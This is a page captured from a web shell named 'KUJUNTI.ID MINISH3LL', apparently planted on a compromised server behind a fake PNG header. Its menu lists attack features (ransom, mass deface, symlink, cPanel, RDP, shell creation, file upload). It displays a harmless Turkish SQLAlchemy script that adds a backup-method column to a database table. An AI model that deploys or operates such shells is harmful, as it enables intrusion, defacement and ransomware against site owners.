\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekledb24/DatabaseBackupMaster/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekledb24/DatabaseBackupMaster/add_mssql_backup_method_column.py


"""
yedekleDB24 için veritabanı şeması güncelleme scripti.
Bu script, BackupJob tablosuna mssql_backup_method sütununu ekler.
"""
import os
import sys
import logging
from sqlalchemy import create_engine, text, MetaData, Table, Column, String
from sqlalchemy.exc import SQLAlchemyError

# Logging ayarları
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)

def get_database_url():
    """Veritabanı URL'sini çevre değişkeninden alır."""
    # Heroku veya benzer platformlarda DATABASE_URL kullanılır
    database_url = os.environ.get('DATABASE_URL')
    
    if not database_url:
        # Local ortamda bağımsız değişkenler kullanılır
        database_url = os.environ.get('SQLALCHEMY_DATABASE_URI')
        
    if not database_url:
        # Docker gibi ortamlar için bağımsız değişkenlerden birleştirilir
        db_user = os.environ.get('DB_USER')
        db_pass = os.environ.get('DB_PASS')
        db_host = os.environ.get('DB_HOST')
        db_port = os.environ.get('DB_PORT')
        db_name = os.environ.get('DB_NAME')
        
        if all([db_user, db_pass, db_host, db_port, db_name]):
            database_url = f"postgresql://{db_user}:{db_pass}@{db_host}:{db_port}/{db_name}"
    
    if not database_url:
        logger.error("Veritabanı URL'si bulunamadı!")
        sys.exit(1)
        
    return database_url

def add_mssql_backup_method_column():
    """BackupJob tablosuna mssql_backup_method sütununu ekler."""
    database_url = get_database_url()
    engine = create_engine(database_url)
    
    try:
        # Önce sütunun mevcut olup olmadığını kontrol et
        with engine.connect() as conn:
            result = conn.execute(text("""
                SELECT column_name 
                FROM information_schema.columns 
                WHERE table_name = 'backup_job' 
                AND column_name = 'mssql_backup_method'
            """))
            
            if result.rowcount > 0:
                logger.info("mssql_backup_method sütunu zaten mevcut.")
                return True
            
            # Sütun ekle
            conn.execute(text("""
                ALTER TABLE backup_job 
                ADD COLUMN mssql_backup_method VARCHAR(16) DEFAULT 'script'
            """))
            
            conn.commit()
            logger.info("mssql_backup_method sütunu başarıyla eklendi.")
            return True
            
    except SQLAlchemyError as e:
        logger.error(f"Veritabanı hatası: {str(e)}")
        return False

def main():
    """Ana fonksiyon"""
    logger.info("MSSQL yedekleme metodu sütunu ekleme işlemi başlatılıyor...")
    
    if add_mssql_backup_method_column():
        logger.info("Veritabanı şeması güncellendi.")
    else:
        logger.error("Veritabanı şeması güncellenemedi!")
        sys.exit(1)
        
if __name__ == "__main__":
    main()

© KUJUNTI.ID